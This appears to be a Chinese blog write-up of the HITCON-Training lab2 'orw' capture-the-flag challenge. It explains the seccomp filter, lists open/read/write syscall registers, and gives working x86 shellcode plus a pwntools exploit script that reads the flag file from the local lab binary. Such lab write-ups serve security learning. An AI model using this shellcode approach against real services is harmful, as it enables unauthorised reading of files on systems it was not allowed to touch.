HITCON-Training-master lab2 wp

查看了下防护机制

image.png

发现它没开启nx,所以可以向内存中写入shellcode执行
简单跑了一下程序,发现输出了一句话:give me you shellcode
ida反编译:

image.png

代码逻辑也很简单,你输入一段shellcode,然后去执行它
我随便去网上找了一段shellcode,输入后发现不行,说明它不是单纯的让我们输入shellcode

查看了一下orw_seccomp()函数

image.png

里面有个prctl()函数,查了一下它的作用:
prctl()是用来控制进程的系统调用
在这里它限制了进程使用某些系统调用 ,所以我们不可以通过execve的shellcode来获取flag
这里我们通过 open(),read(),write()三个函数的系统调用来获取flag,这三个函数的调用参数可以在syscalls上查到

open() :eax->0x5 ;ebx->(file_name_string);ecx->(flags 访问权限) ;edx->(mode如果创建新文件,则包含表示UNIX权限的整数值)
read(3,file,0x30): eax->0x3;ebx->(fd 文件句柄 0x3) ;ecx->(files_name_string) ; edx->(count 读取长度)
write(1,file,0x30):eax->0x4;ebx->(fd 文件句柄  0x1) ;ecx->(files_name_string) ; edx->(count 输出长度)

汇编代码:(intel风格)

xor ecx,ecx  
mov  eax,0x5  
push ecx  
push 0x67616c66 (flag的十六进制形式,因为是小端法存储所以要倒过来)  
mov ebx,esp  
xor edx,edx  
int 0x80  
  
mov eax,0x3  
mov ecx,ebx  
mov ebx,0x3  
mov dl,0x30  
int 0x80  
  
mov eax,0x4  
mov bl,0x1  
int 0x80  

exp:

#!/usr/bin/env python  
# -*-: coding: UTF-8 -*-  
from pwn import*  
p = process('./orw.bin')  
shellcode = '''
xor ecx,ecx 
mov eax,0x5 
push ecx 
push 0x67616c66 
mov ebx,esp 
xor edx,edx 
int 0x80 

mov eax,0x3 
mov ecx,ebx 
mov ebx,0x3 
mov dl,0x30 
int 0x80 
 
mov eax,0x4 
mov bl,0x1 
int 0x80 
'''  
payload = asm(shellcode)  
p.recvuntil(":")  
p.send(payload)  
p.interactive()  
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 一、温故而知新 1. 内存不够怎么办 内存简单分配策略的问题地址空间不隔离内存使用效率低程序运行的地址不确定 关于...
    SeanCST阅读 7,880评论 0 27
  • 0x01 Start checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,...
    Nevv阅读 1,711评论 0 2
  • 罗辑思维罗胖说:很多人都觉得自己的学习效率低,阅读了大量的东西但总是记不住。其实阅读并不是学习啊!那只是把自己泡在...
    布克爱读书阅读 525评论 1 0
  • 通常情况下,男女双方刚开始接触时,大家都希望让对方了解到自己的好,让对方知道自己是什么样的人,这个时候就需学会如何...
    付付panda阅读 1,393评论 0 0
  • 富贵又何为,襁褓之间父母违。 展眼吊斜晖,湘江水逝楚云飞。 湘云是保龄侯尚书令史家的姑娘,即史太君的侄孙女。她生下...
    武怡贤阅读 339评论 0 0